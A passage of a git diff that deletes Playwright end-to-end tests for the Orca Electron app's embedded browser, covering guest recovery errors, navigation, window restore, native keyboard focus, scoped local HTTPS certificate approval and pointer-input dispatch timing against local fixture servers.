.toBe('true') - await expect( - orcaPage.locator( - `[data-browser-overlay-tab-id="${browserTab.id}"] webview[data-recovery-reload-attempted]` - ) - ).toHaveCount(0) - await expect - .poll(() => readBrowserGuestState(orcaPage, browserTab.id), { timeout: 10_000 }) - .toMatchObject({ - chromePresent: true, - marker: 'painted-file-guest', - url: fixtureUrl, - webContentsId: before.webContentsId - }) - await expect - .poll(() => listRegisteredBrowserPages(orcaPage, worktreeId)) - .toMatchObject({ - ok: true, - result: { tabs: [{ browserPageId: browserTab.activePageId, url: fixtureUrl }] } - }) -}) - -test('explicit navigation repairs a recovery error without dom-ready churn', async ({ - electronApp, - orcaPage, - registerPostElectronShutdownCleanup -}) => { - const { browserTab, fixtureUrl, worktreeId } = await createBrowserFixture( - orcaPage, - registerPostElectronShutdownCleanup - ) - await expect - .poll(() => readBrowserGuestState(orcaPage, browserTab.id)) - .toMatchObject({ marker: 'painted-file-guest', url: fixtureUrl }) - - await orcaPage.evaluate( - (browserPageId) => window.api.browser.unregisterGuest({ browserPageId }), - browserTab.activePageId - ) - await orcaPage.evaluate( - ({ browserPageId, validatedUrl, recoveryErrorCode }) => { - window.__store?.getState().updateBrowserPageState(browserPageId, { - loading: false, - loadError: { - code: recoveryErrorCode, - description: 'Recovery fixture error', - validatedUrl - } - }) - }, - { - browserPageId: browserTab.activePageId, - validatedUrl: fixtureUrl, - recoveryErrorCode: BROWSER_GUEST_RECOVERY_ERROR_CODE - } - ) - await expect - .poll(() => readBrowserPageRecoveryState(orcaPage, browserTab.id, browserTab.activePageId)) - .toMatchObject({ loadErrorCode: BROWSER_GUEST_RECOVERY_ERROR_CODE }) - - await electronApp.evaluate(({ ipcMain }) => { - const testState = globalThis as typeof globalThis & { - browserRecoveryValidationCalls?: number - } - testState.browserRecoveryValidationCalls = 0 - ipcMain.removeHandler('browser:isGuestRegistered') - ipcMain.handle('browser:isGuestRegistered', () => { - testState.browserRecoveryValidationCalls = (testState.browserRecoveryValidationCalls ?? 0) + 1 - return false - }) - }) - await orcaPage.evaluate((targetBrowserTabId) => { - const overlay = document.querySelector(`[data-browser-overlay-tab-id="${targetBrowserTabId}"]`) - overlay?.querySelector('webview')?.dispatchEvent(new Event('dom-ready')) - }, browserTab.id) - await expect - .poll(async () => - (await listRegisteredBrowserPages(orcaPage, worktreeId)).result?.tabs?.some( - (tab) => tab.browserPageId === browserTab.activePageId - ) - ) - .toBe(false) - - const addressBar = orcaPage.locator( - `[data-browser-overlay-tab-id="${browserTab.id}"] [data-orca-browser-address-bar="true"]` - ) - let resolvePrecommitRequest: (() => void) | null = null - const precommitRequest = new Promise((resolve) => { - resolvePrecommitRequest = resolve - }) - let resolveCommittedRequest: (() => void) | null = null - const committedRequest = new Promise((resolve) => { - resolveCommittedRequest = resolve - }) - let resolveRedirectedRequest: (() => void) | null = null - const redirectedRequest = new Promise((resolve) => { - resolveRedirectedRequest = resolve - }) - const stalledServer = createServer((request, response) => { - if (request.url === '/redirect') { - response.writeHead(302, { Location: '/redirected' }) - response.end() - return - } - if (request.url === '/redirected') { - response.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' }) - response.end( - '

painted-redirected-guest

' - ) - resolveRedirectedRequest?.() - return - } - if (request.url === '/committed') { - response.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' }) - response.write('Committed stall') - resolveCommittedRequest?.() - return - } - resolvePrecommitRequest?.() - }) - await new Promise((resolve, reject) => { - stalledServer.once('error', reject) - stalledServer.listen(0, '127.0.0.1', resolve) - }) - registerPostElectronShutdownCleanup(async () => { - stalledServer.closeAllConnections() - await new Promise((resolve) => { - stalledServer.close(() => resolve()) - }) - }) - const stalledAddress = stalledServer.address() - if (!stalledAddress || typeof stalledAddress === 'string') { - throw new Error('Expected a local stalled server address') - } - const stalledOrigin = `http://127.0.0.1:${stalledAddress.port}` - await addressBar.fill(`${stalledOrigin}/precommit`) - await addressBar.press('Enter') - await precommitRequest - await orcaPage.evaluate((targetBrowserTabId) => { - const overlay = document.querySelector(`[data-browser-overlay-tab-id="${targetBrowserTabId}"]`) - const webview = overlay?.querySelector('webview') - const inPageNavigation = Object.assign(new Event('did-navigate-in-page'), { - isMainFrame: true, - url: `${webview?.getAttribute('src') ?? 'about:blank'}#stale` - }) - webview?.dispatchEvent(inPageNavigation) - webview?.dispatchEvent(new Event('dom-ready')) - }, browserTab.id) - await orcaPage.evaluate( - () => - new Promise((resolve) => { - requestAnimationFrame(() => requestAnimationFrame(() => resolve())) - }) - ) - expect( - await electronApp.evaluate(() => { - const testState = globalThis as typeof globalThis & { - browserRecoveryValidationCalls?: number - } - return testState.browserRecoveryValidationCalls ?? 0 - }) - ).toBe(0) - await expect - .poll(async () => - (await listRegisteredBrowserPages(orcaPage, worktreeId)).result?.tabs?.some( - (tab) => tab.browserPageId === browserTab.activePageId - ) - ) - .toBe(false) - await expect - .poll(() => readBrowserPageRecoveryState(orcaPage, browserTab.id, browserTab.activePageId)) - .toMatchObject({ loadErrorCode: BROWSER_GUEST_RECOVERY_ERROR_CODE }) - - const committedStallUrl = `${stalledOrigin}/committed` - await addressBar.fill(committedStallUrl) - await addressBar.press('Enter') - await committedRequest - await expect - .poll(() => readBrowserPageRecoveryState(orcaPage, browserTab.id, browserTab.activePageId)) - .toEqual({ loadErrorCode: BROWSER_GUEST_RECOVERY_ERROR_CODE, url: committedStallUrl }) - await expect(orcaPage.getByText('Recovery fixture error', { exact: true })).toBeVisible() - expect( - await electronApp.evaluate(() => { - const testState = globalThis as typeof globalThis & { - browserRecoveryValidationCalls?: number - } - return testState.browserRecoveryValidationCalls ?? 0 - }) - ).toBe(0) - await expect - .poll(async () => - (await listRegisteredBrowserPages(orcaPage, worktreeId)).result?.tabs?.some( - (tab) => tab.browserPageId === browserTab.activePageId - ) - ) - .toBe(false) - await addressBar.fill(fixtureUrl) - await addressBar.press('Enter') - - await expect - .poll(() => readBrowserPageRecoveryState(orcaPage, browserTab.id, browserTab.activePageId)) - .toMatchObject({ loadErrorCode: null, url: fixtureUrl }) - await expect - .poll(() => listRegisteredBrowserPages(orcaPage, worktreeId)) - .toMatchObject({ - ok: true, - result: { tabs: [{ browserPageId: browserTab.activePageId, url: fixtureUrl }] } - }) - expect( - await electronApp.evaluate(() => { - const testState = globalThis as typeof globalThis & { - browserRecoveryValidationCalls?: number - } - return testState.browserRecoveryValidationCalls ?? 0 - }) - ).toBe(1) - - await orcaPage.evaluate( - (browserPageId) => window.api.browser.unregisterGuest({ browserPageId }), - browserTab.activePageId - ) - await orcaPage.evaluate( - ({ browserPageId, validatedUrl, recoveryErrorCode }) => { - window.__store?.getState().updateBrowserPageState(browserPageId, { - loading: false, - loadError: { - code: recoveryErrorCode, - description: 'Recovery redirect fixture error', - validatedUrl - } - }) - }, - { - browserPageId: browserTab.activePageId, - validatedUrl: fixtureUrl, - recoveryErrorCode: BROWSER_GUEST_RECOVERY_ERROR_CODE - } - ) - await expect - .poll(() => readBrowserPageRecoveryState(orcaPage, browserTab.id, browserTab.activePageId)) - .toMatchObject({ loadErrorCode: BROWSER_GUEST_RECOVERY_ERROR_CODE }) - await electronApp.evaluate(() => { - const testState = globalThis as typeof globalThis & { - browserRecoveryValidationCalls?: number - } - testState.browserRecoveryValidationCalls = 0 - }) - - const redirectedUrl = `${stalledOrigin}/redirected` - await addressBar.fill(`${stalledOrigin}/redirect`) - await addressBar.press('Enter') - await redirectedRequest - - await expect - .poll(() => readBrowserPageRecoveryState(orcaPage, browserTab.id, browserTab.activePageId)) - .toMatchObject({ loadErrorCode: null, url: redirectedUrl }) - await expect - .poll(() => listRegisteredBrowserPages(orcaPage, worktreeId)) - .toMatchObject({ - ok: true, - result: { tabs: [{ browserPageId: browserTab.activePageId, url: redirectedUrl }] } - }) - await expect - .poll(() => readBrowserGuestState(orcaPage, browserTab.id)) - .toMatchObject({ - chromePresent: true, - marker: 'painted-redirected-guest', - url: redirectedUrl - }) - expect( - await electronApp.evaluate(() => { - const testState = globalThis as typeof globalThis & { - browserRecoveryValidationCalls?: number - } - return testState.browserRecoveryValidationCalls ?? 0 - }) - ).toBe(1) -}) - -test('recovery error stays visible until toolbar retry repairs registration', async ({ - electronApp, - orcaPage, - registerPostElectronShutdownCleanup -}) => { - const { browserTab, fixtureUrl, worktreeId } = await createBrowserFixture( - orcaPage, - registerPostElectronShutdownCleanup - ) - await expect - .poll(() => readBrowserGuestState(orcaPage, browserTab.id)) - .toMatchObject({ marker: 'painted-file-guest', url: fixtureUrl }) - - await orcaPage.evaluate( - (browserPageId) => window.api.browser.unregisterGuest({ browserPageId }), - browserTab.activePageId - ) - await electronApp.evaluate(({ BrowserWindow, ipcMain }) => { - ipcMain.removeHandler('browser:isGuestRegistered') - BrowserWindow.getAllWindows()[0]?.webContents.send('system:resumed') - }) - - await expect - .poll( - () => - orcaPage.evaluate( - ({ workspaceId, browserPageId }) => - window.__store - ?.getState() - .browserPagesByWorkspace[workspaceId]?.find((page) => page.id === browserPageId) - ?.loadError?.code ?? null, - { workspaceId: browserTab.id, browserPageId: browserTab.activePageId } - ), - { timeout: 10_000 } - ) - .toBe(BROWSER_GUEST_RECOVERY_ERROR_CODE) - - await electronApp.evaluate(({ ipcMain }) => { - ipcMain.handle('browser:isGuestRegistered', () => false) - }) - await orcaPage - .locator('[data-contextual-tour-target="browser-toolbar"]') - .locator('button') - .nth(2) - .click() - - await expect - .poll( - () => - orcaPage.evaluate( - ({ workspaceId, browserPageId }) => - window.__store - ?.getState() - .browserPagesByWorkspace[workspaceId]?.find((page) => page.id === browserPageId) - ?.loadError?.code ?? null, - { workspaceId: browserTab.id, browserPageId: browserTab.activePageId } - ), - { timeout: 10_000 } - ) - .toBeNull() - await expect - .poll(() => readBrowserGuestState(orcaPage, browserTab.id)) - .toMatchObject({ chromePresent: true, marker: 'painted-file-guest', url: fixtureUrl }) - await expect - .poll(() => listRegisteredBrowserPages(orcaPage, worktreeId)) - .toMatchObject({ - ok: true, - result: { tabs: [{ browserPageId: browserTab.activePageId, url: fixtureUrl }] } - }) -}) - -test('attachment keeps recovery error until document readiness', async ({ - orcaPage, - registerPostElectronShutdownCleanup -}) => { - const { browserTab, fixtureUrl } = await createBrowserFixture( - orcaPage, - registerPostElectronShutdownCleanup - ) - await expect - .poll(() => readBrowserGuestState(orcaPage, browserTab.id)) - .toMatchObject({ marker: 'painted-file-guest', url: fixtureUrl }) - - await orcaPage.evaluate( - ({ workspaceId, browserPageId, validatedUrl, recoveryErrorCode }) => { - window.__store?.getState().updateBrowserPageState(browserPageId, { - loading: false, - loadError: { - code: recoveryErrorCode, - description: 'Recovery fixture error', - validatedUrl - } - }) - const overlay = document.querySelector(`[data-browser-overlay-tab-id="${workspaceId}"]`) - const webview = overlay?.querySelector('webview') as Electron.WebviewTag - Object.defineProperty(webview, 'reload', { - configurable: true, - value: () => webview.dispatchEvent(new Event('did-attach')) - }) - }, - { - workspaceId: browserTab.id, - browserPageId: browserTab.activePageId, - validatedUrl: fixtureUrl, - recoveryErrorCode: BROWSER_GUEST_RECOVERY_ERROR_CODE - } - ) - await orcaPage - .locator('[data-contextual-tour-target="browser-toolbar"]') - .locator('button') - .nth(2) - .click() - const recoveryErrorCode = await orcaPage.evaluate( - ({ workspaceId, browserPageId }) => - new Promise((resolve) => { - requestAnimationFrame(() => { - resolve( - window.__store - ?.getState() - .browserPagesByWorkspace[workspaceId]?.find((page) => page.id === browserPageId) - ?.loadError?.code ?? null - ) - }) - }), - { workspaceId: browserTab.id, browserPageId: browserTab.activePageId } - ) - expect(recoveryErrorCode).toBe(BROWSER_GUEST_RECOVERY_ERROR_CODE) -}) - -async function occludeHeadedWindow(electronApp: ElectronApplication, page: Page): Promise { - const host = await electronApp.browserWindow(page) - await host.evaluate((window) => window.minimize()) - const deadline = Date.now() + 2_000 - let minimized = false - while (!minimized && Date.now() < deadline) { - minimized = await host.evaluate((window) => window.isMinimized()) - if (!minimized) { - await page.waitForTimeout(50) - } - } - if (!minimized) { - // Why: Xvfb has no window manager, so Electron minimize is a no-op on - // Linux CI (especially frameless). Hide still unpaints the guest compositor. - await host.evaluate((window) => window.hide()) - await expect.poll(() => host.evaluate((window) => window.isVisible())).toBe(false) - } -} - -async function revealHeadedWindow(electronApp: ElectronApplication, page: Page): Promise { - const host = await electronApp.browserWindow(page) - await host.evaluate((window) => { - window.restore() - window.show() - window.focus() - }) - await expect - .poll(() => host.evaluate((window) => window.isVisible() && !window.isMinimized())) - .toBe(true) -} - -test('minimized browser guest stays painted and registered after restore @headful', async ({ - electronApp, - orcaPage, - registerPostElectronShutdownCleanup -}, testInfo) => { - const { browserTab, fixtureUrl, worktreeId } = await createBrowserFixture( - orcaPage, - registerPostElectronShutdownCleanup - ) - await expect - .poll(() => readBrowserGuestState(orcaPage, browserTab.id)) - .toMatchObject({ marker: 'painted-file-guest', url: fixtureUrl }) - const before = await readBrowserGuestState(orcaPage, browserTab.id) - - await occludeHeadedWindow(electronApp, orcaPage) - await revealHeadedWindow(electronApp, orcaPage) - - await expect - .poll(() => readBrowserGuestState(orcaPage, browserTab.id)) - .toMatchObject({ chromePresent: true, marker: 'painted-file-guest', url: fixtureUrl }) - const restored = await readBrowserGuestState(orcaPage, browserTab.id) - expect(restored.webContentsId).toBe(before.webContentsId) - await expect - .poll(() => listRegisteredBrowserPages(orcaPage, worktreeId)) - .toMatchObject({ - ok: true, - result: { tabs: [{ browserPageId: browserTab.activePageId, url: fixtureUrl }] } - }) - const screenshotPath = testInfo.outputPath('browser-minimize-restore.png') - await orcaPage.screenshot({ path: screenshotPath, fullPage: true }) - await testInfo.attach('browser-minimize-restore', { - path: screenshotPath, - contentType: 'image/png' - }) -}) diff --git a/tests/e2e/browser-image-link-focus.spec.ts b/tests/e2e/browser-image-link-focus.spec.ts deleted file mode 100644 index c8e818f841b..00000000000 --- a/tests/e2e/browser-image-link-focus.spec.ts +++ /dev/null @@ -1,144 +0,0 @@ -import { execFileSync } from 'node:child_process' -import { existsSync } from 'node:fs' -import { test, expect } from './helpers/orca-app' -import { startBrowserLinkServer } from './helpers/browser-link-server' -import { getActiveWorktreeId } from './helpers/store' - -test.use({ launchEnv: { ORCA_BACKGROUND_LAUNCH: '1' } }) - -test.describe('Image link focus', () => { - test.skip( - process.platform !== 'linux' || - process.env.ORCA_E2E_BROWSER_NATIVE_XVFB !== '1' || - (process.env.GITHUB_ACTIONS !== 'true' && !existsSync('/.dockerenv')), - 'Native input requires the owned CI or Docker Xvfb display' - ) - - test('routes native Ctrl+W to the image tab and preserves the opener @headful', async ({ - orcaPage, - electronApp - }) => { - const ownedWindow = await electronApp.browserWindow(orcaPage) - let nativeWindowId: number - try { - nativeWindowId = await ownedWindow.evaluate((window) => { - if ( - process.platform !== 'linux' || - process.env.ORCA_BACKGROUND_LAUNCH !== '1' || - process.env.ORCA_E2E_BROWSER_NATIVE_XVFB !== '1' || - !/^:\d+(?:\.\d+)?$/.test(process.env.DISPLAY ?? '') || - (process.env.GITHUB_ACTIONS !== 'true' && - !process.getBuiltinModule('node:fs').existsSync('/.dockerenv')) || - window.isDestroyed() - ) { - throw new Error('Native browser input requires an owned CI or Docker Xvfb window') - } - window.showInactive() - return window.getNativeWindowHandle().readUInt32LE(0) - }) - await expect.poll(() => ownedWindow.evaluate((window) => window.isVisible())).toBe(true) - } finally { - await ownedWindow.dispose() - } - await orcaPage.waitForFunction(() => document.visibilityState === 'visible') - const nativeInput = (...args: string[]): void => { - execFileSync('xdotool', args, { stdio: 'pipe', timeout: 10_000 }) - } - nativeInput('windowactivate', '--sync', String(nativeWindowId)) - const fixture = await startBrowserLinkServer() - try { - const worktreeId = (await getActiveWorktreeId(orcaPage))! - const sourceTabId = await orcaPage.evaluate( - ({ worktreeId, url }) => - window.__store!.getState().createBrowserTab(worktreeId, url, { activate: true }).id, - { worktreeId, url: fixture.imageSourceUrl } - ) - const sourceTab = orcaPage.locator(`[data-tab-id="${sourceTabId}"]`) - const sourceOverlay = orcaPage.locator(`[data-browser-overlay-tab-id="${sourceTabId}"]`) - const sourceWebview = sourceOverlay.locator('webview') - await expect(sourceTab).toContainText('Image gallery') - await expect(sourceWebview).toBeVisible() - const point = await sourceWebview.evaluate(async (webview: Electron.WebviewTag) => { - const point: unknown = await webview.executeJavaScript(`(() => { - const image = document.querySelector('#linked-image') - const rect = image.getBoundingClientRect() - return { x: rect.left + rect.width / 2, y: rect.top + rect.height / 2 } - })()`) - if ( - typeof point !== 'object' || - point === null || - !('x' in point) || - typeof point.x !== 'number' || - !('y' in point) || - typeof point.y !== 'number' - ) { - throw new Error('The linked image has no click coordinates') - } - return { x: point.x, y: point.y } - }) - const bounds = await sourceWebview.boundingBox() - if (!bounds) { - throw new Error('The source image webview has no visible bounds') - } - await sourceWebview.evaluate((webview: Electron.WebviewTag) => - webview.executeJavaScript(`window.addEventListener('keydown', event => { - if (event.key === 'y') document.documentElement.dataset.nativeKeySeen = 'y' - }); true`) - ) - nativeInput( - 'mousemove', - '--window', - String(nativeWindowId), - String(Math.round(bounds.x + 10)), - String(Math.round(bounds.y + 10)) - ) - nativeInput('click', '1') - nativeInput('key', 'y') - await expect - .poll(() => - sourceWebview.evaluate((webview: Electron.WebviewTag) => - webview.executeJavaScript(`document.documentElement.dataset.nativeKeySeen === 'y'`) - ) - ) - .toBe(true) - nativeInput( - 'mousemove', - '--window', - String(nativeWindowId), - String(Math.round(bounds.x + point.x)), - String(Math.round(bounds.y + point.y)) - ) - nativeInput('click', '1') - - const destinationTab = orcaPage.locator('[data-tab-id]').filter({ hasText: 'image.png' }) - await expect(destinationTab).toBeVisible() - const destinationTabId = await destinationTab.getAttribute('data-tab-id') - const destinationOverlay = orcaPage.locator( - `[data-browser-overlay-tab-id="${destinationTabId}"]` - ) - await expect(destinationOverlay).toHaveCSS('opacity', '1') - const destinationWebview = destinationOverlay.locator('webview') - await expect - .poll(() => - destinationWebview.evaluate((webview: Electron.WebviewTag) => - webview.executeJavaScript(`(() => { - const image = document.images[0] - return document.contentType === 'image/png' && image?.complete && image.naturalWidth > 0 - })()`) - ) - ) - .toBe(true) - await expect(destinationWebview).toBeFocused() - nativeInput('key', '--clearmodifiers', 'ctrl+w') - - await expect(destinationTab).toHaveCount(0) - await expect(sourceTab).toBeVisible() - await expect(sourceOverlay).toHaveCSS('opacity', '1') - await expect - .poll(() => sourceWebview.evaluate((webview: Electron.WebviewTag) => webview.getURL())) - .toBe(fixture.imageSourceUrl) - } finally { - await fixture.close() - } - }) -}) diff --git a/tests/e2e/browser-local-https-certificate-trust.spec.ts b/tests/e2e/browser-local-https-certificate-trust.spec.ts deleted file mode 100644 index 5346f36a789..00000000000 --- a/tests/e2e/browser-local-https-certificate-trust.spec.ts +++ /dev/null @@ -1,200 +0,0 @@ -import type { Locator, Page } from '@stablyai/playwright-test' - -import { expect, test } from './helpers/orca-app' -import { - ensureTerminalVisible, - getActiveWorktreeId, - waitForActiveWorktree, - waitForSessionReady -} from './helpers/store' -import { startLocalHttpProbeServer, startLocalHttpsServer } from './helpers/local-https-test-server' - -type CreatedBrowserTab = { - id: string - pageId: string -} - -async function createBrowserTab( - page: Page, - worktreeId: string, - url: string -): Promise { - const tab = await page.evaluate( - ({ targetWorktreeId, targetUrl }) => { - const state = window.__store?.getState() - if (!state) { - return null - } - const browserTab = state.createBrowserTab(targetWorktreeId, targetUrl, { - title: 'Local TLS', - activate: true - }) - return { id: browserTab.id, pageId: browserTab.activePageId ?? null } - }, - { targetWorktreeId: worktreeId, targetUrl: url } - ) - if (!tab?.pageId) { - throw new Error('Failed to create local TLS browser page') - } - return { id: tab.id, pageId: tab.pageId } -} - -async function switchToBrowserTab(page: Page, worktreeId: string, browserTabId: string) { - await page.evaluate( - ({ targetWorktreeId, targetBrowserTabId }) => { - const state = window.__store?.getState() - if (!state) { - return - } - if ( - !(state.browserTabsByWorktree[targetWorktreeId] ?? []).some( - (tab) => tab.id === targetBrowserTabId - ) - ) { - return - } - state.setActiveBrowserTab(targetBrowserTabId) - state.setActiveTabType('browser', window.__store?.getState().activeWorktreeId ?? null) - }, - { targetWorktreeId: worktreeId, targetBrowserTabId: browserTabId } - ) -} - -function browserSlot(page: Page, pageId: string) { - return page.locator(`[data-browser-overlay-tab-id="${pageId}"]`) -} - -// Why: the toolbar reload button is also named "Retry" once a load fails, so match the -// overlay's button by its visible label — the toolbar one is icon-only. -function failureOverlayRetryButton(slot: Locator): Locator { - return slot.getByRole('button', { name: 'Retry' }).filter({ hasText: 'Retry' }) -} - -async function readBrowserHeading(page: Page, browserTabId: string): Promise { - return page.evaluate(async (targetBrowserTabId) => { - const slot = [...document.querySelectorAll('[data-browser-overlay-tab-id]')].find( - (candidate) => candidate.getAttribute('data-browser-overlay-tab-id') === targetBrowserTabId - ) - const webview = slot?.querySelector('webview') as Electron.WebviewTag | null - if (!webview) { - return null - } - try { - return await webview.executeJavaScript('document.querySelector("h1")?.textContent ?? null') - } catch { - return null - } - }, browserTabId) -} - -async function readBrowserState( - page: Page, - browserTabId: string, - stateName: '__localTlsState' | '__siblingTlsProbe' -): Promise | null> { - return page.evaluate( - async ({ targetBrowserTabId, targetStateName }) => { - const slot = [...document.querySelectorAll('[data-browser-overlay-tab-id]')].find( - (candidate) => candidate.getAttribute('data-browser-overlay-tab-id') === targetBrowserTabId - ) - const webview = slot?.querySelector('webview') as Electron.WebviewTag | null - if (!webview) { - return null - } - try { - return await webview.executeJavaScript(`window.${targetStateName} ?? null`) - } catch { - return null - } - }, - { targetBrowserTabId: browserTabId, targetStateName: stateName } - ) -} - -async function reloadBrowserGuest(page: Page, browserTabId: string): Promise { - await page.evaluate((targetBrowserTabId) => { - const slot = [...document.querySelectorAll('[data-browser-overlay-tab-id]')].find( - (candidate) => candidate.getAttribute('data-browser-overlay-tab-id') === targetBrowserTabId - ) - const webview = slot?.querySelector('webview') as Electron.WebviewTag | null - if (!webview) { - throw new Error(`Missing webview for browser tab ${targetBrowserTabId}`) - } - webview.reload() - }, browserTabId) -} - -test.describe('local HTTPS certificate trust', () => { - test.beforeEach(async ({ orcaPage }) => { - await waitForSessionReady(orcaPage) - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - }) - - test('approves one exact local certificate endpoint without trusting sibling tabs or ports', async ({ - orcaPage - }) => { - const firstServer = await startLocalHttpsServer() - const secondPortServer = await startLocalHttpsServer() - const siblingProbeServer = await startLocalHttpProbeServer(firstServer) - try { - const worktreeId = (await getActiveWorktreeId(orcaPage))! - const firstTab = await createBrowserTab(orcaPage, worktreeId, firstServer.secureUrl) - const firstSlot = browserSlot(orcaPage, firstTab.id) - - await expect( - firstSlot.getByRole('heading', { name: "Connection isn't secure" }) - ).toBeVisible() - // The certificate-failure branch keeps its recovery action, never the dev-server wording. - await expect(failureOverlayRetryButton(firstSlot)).toBeVisible() - await expect(firstSlot.getByText(/nothing is running/i)).toHaveCount(0) - await firstSlot.getByRole('button', { name: 'Proceed Anyway (Unsafe)' }).click() - await expect - .poll(() => readBrowserHeading(orcaPage, firstTab.id), { timeout: 10_000 }) - .toBe('Local HTTPS request 1') - await expect - .poll(() => readBrowserState(orcaPage, firstTab.id, '__localTlsState')) - .toEqual({ asset: true, webSocket: true }) - expect(firstServer.assetRequestCount()).toBe(1) - expect(firstServer.webSocketConnectionCount()).toBe(1) - - const secondTab = await createBrowserTab(orcaPage, worktreeId, firstServer.secureUrl) - const secondSlot = browserSlot(orcaPage, secondTab.id) - await expect( - secondSlot.getByRole('heading', { name: "Connection isn't secure" }) - ).toBeVisible() - // Why: approval is scoped to the first guest WebContents, not its shared - // profile partition, so this sibling still requires an explicit decision. - await expect( - secondSlot.getByRole('button', { name: 'Proceed Anyway (Unsafe)' }) - ).toBeVisible() - - const probeTab = await createBrowserTab(orcaPage, worktreeId, siblingProbeServer.url) - await expect - .poll(() => readBrowserState(orcaPage, probeTab.id, '__siblingTlsProbe')) - .toEqual({ asset: 'blocked', webSocket: 'blocked' }) - expect(firstServer.assetRequestCount()).toBe(1) - expect(firstServer.webSocketConnectionCount()).toBe(1) - - await switchToBrowserTab(orcaPage, worktreeId, firstTab.id) - await reloadBrowserGuest(orcaPage, firstTab.id) - await expect.poll(firstServer.documentRequestCount, { timeout: 10_000 }).toBe(2) - await expect - .poll(() => readBrowserHeading(orcaPage, firstTab.id), { timeout: 10_000 }) - .toBe('Local HTTPS request 2') - await expect.poll(firstServer.assetRequestCount).toBe(2) - await expect.poll(firstServer.webSocketConnectionCount).toBe(2) - - const firstAddressBar = firstSlot.locator('[data-orca-browser-address-bar="true"]') - await firstAddressBar.fill(secondPortServer.secureUrl) - await firstAddressBar.press('Enter') - await expect( - firstSlot.getByRole('heading', { name: "Connection isn't secure" }) - ).toBeVisible() - await expect(firstSlot.getByRole('button', { name: 'Proceed Anyway (Unsafe)' })).toBeVisible() - await expect.poll(secondPortServer.documentRequestCount).toBe(0) - } finally { - await Promise.all([firstServer.close(), secondPortServer.close(), siblingProbeServer.close()]) - } - }) -}) diff --git a/tests/e2e/browser-pointer-input-dispatch.spec.ts b/tests/e2e/browser-pointer-input-dispatch.spec.ts deleted file mode 100644 index 45ced4a7ee3..00000000000 --- a/tests/e2e/browser-pointer-input-dispatch.spec.ts +++ /dev/null @@ -1,327 +0,0 @@ -// Drive BrowserPane’s real pointer RPC gestures and measure dispatch cost alongside click/drag/wheel fidelity. - -import { createServer, type Server } from 'node:http' -import type { Page } from '@stablyai/playwright-test' -import { test, expect } from './helpers/orca-app' -import { ensureTerminalVisible, getActiveWorktreeId, waitForActiveWorktree } from './helpers/store' - -type RuntimeResponse = { - ok: boolean - result?: unknown - error?: unknown -} - -function readProperty(value: unknown, key: string): unknown { - return value !== null && typeof value === 'object' && key in value - ? Object.getOwnPropertyDescriptor(value, key)?.value - : undefined -} - -function toRuntimeResponse(value: unknown): RuntimeResponse { - return { - ok: readProperty(value, 'ok') === true, - result: readProperty(value, 'result'), - error: readProperty(value, 'error') - } -} - -const PAGE_HTML = ` - - - - Pointer input probe - - - - -
alpha bravo charlie
-
- - -` - -async function startProbeServer(): Promise<{ url: string; close: () => Promise }> { - const server: Server = createServer((_request, response) => { - response.writeHead(200, { 'Content-Type': 'text/html; charset=utf-8' }) - response.end(PAGE_HTML) - }) - await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)) - const address = server.address() - if (address === null || typeof address === 'string') { - throw new Error('Probe server did not bind a TCP port') - } - const url = `http://127.0.0.1:${address.port}/` - return { - url, - close: () => - new Promise((resolve, reject) => - server.close((error) => (error ? reject(error) : resolve())) - ) - } -} - -async function createBrowserTab(page: Page, worktreeId: string, url: string): Promise { - const pageId = await page.evaluate( - ({ targetWorktreeId, targetUrl }) => { - const created = window.__store?.getState().createBrowserTab(targetWorktreeId, targetUrl, { - title: 'Pointer input probe', - activate: true - }) - return created?.activePageId ?? null - }, - { targetWorktreeId: worktreeId, targetUrl: url } - ) - if (!pageId) { - throw new Error('Failed to create the probe browser page') - } - return pageId -} - -async function rpc( - page: Page, - method: string, - params: Record -): Promise { - return toRuntimeResponse( - await page.evaluate( - ({ targetMethod, targetParams }) => - window.api.runtime.call({ method: targetMethod, params: targetParams }), - { targetMethod: method, targetParams: params } - ) - ) -} - -async function expectOk( - page: Page, - method: string, - params: Record -): Promise { - const response = await rpc(page, method, params) - expect(response, `${method} failed: ${JSON.stringify(response.error)}`).toMatchObject({ - ok: true - }) - return response.result -} - -async function evaluateInPage(page: Page, pageId: string, expression: string): Promise { - const result = await expectOk(page, 'browser.eval', { page: pageId, expression }) - return readProperty(result, 'result') -} - -// Why: Chromium's own multi-click interval; a pair wider than this is two single clicks. -const DOUBLE_CLICK_INTERVAL_MS = 500 - -type RpcStep = [string, Record] - -// Batch gesture RPCs inside one renderer round-trip so harness IPC cannot exceed Chromium’s double-click interval. -async function driveRpcSequence(page: Page, pageId: string, steps: RpcStep[]): Promise { - const failure = await page.evaluate( - async ({ targetPage, sequence }) => { - for (const [method, params] of sequence) { - const response: unknown = await window.api.runtime.call({ - method, - params: { page: targetPage, ...params } - }) - if (response === null || typeof response !== 'object' || !('ok' in response)) { - return `${method} returned no response` - } - if (response.ok !== true) { - return `${method} failed: ${JSON.stringify(response)}` - } - } - return null - }, - { targetPage: pageId, sequence: steps } - ) - if (failure !== null) { - throw new Error(failure) - } -} - -// Why: the pane sends move+down+move+up for one click, serialized. -function clickSteps(x: number, y: number, button = 'left'): RpcStep[] { - return [ - ['browser.mouseMove', { x, y }], - ['browser.mouseDown', { button }], - ['browser.mouseMove', { x, y }], - ['browser.mouseUp', { button }] - ] -} - -test('dispatches coordinate pointer input fast enough for real gestures @headful', async ({ - orcaPage -}) => { - // Allow loaded-CI time for hundreds of serialized RPCs, not just one fast call. - test.setTimeout(240_000) - const server = await startProbeServer() - try { - await waitForActiveWorktree(orcaPage) - await ensureTerminalVisible(orcaPage) - const worktreeId = await getActiveWorktreeId(orcaPage) - expect(worktreeId).toBeTruthy() - const pageId = await createBrowserTab(orcaPage, worktreeId!, server.url) - - await expect - .poll(() => evaluateInPage(orcaPage, pageId, 'document.title'), { timeout: 20_000 }) - .toBe('Pointer input probe') - - // Time bulk RPCs inside the renderer to amortize its ~16.6ms clock and exclude Playwright IPC. - const latency = await orcaPage.evaluate(async (targetPage) => { - const call = async (method: string, params: Record): Promise => { - const response: unknown = await window.api.runtime.call({ - method, - params: { page: targetPage, ...params } - }) - if (response === null || typeof response !== 'object' || !('ok' in response)) { - throw new Error(`${method} returned no response`) - } - if (response.ok !== true) { - throw new Error(`${method} failed: ${JSON.stringify(response)}`) - } - } - // Use enough samples to amortize clock coarsening without consuming the whole test budget. - const REPEATS = 12 - const meanMs = async (run: (index: number) 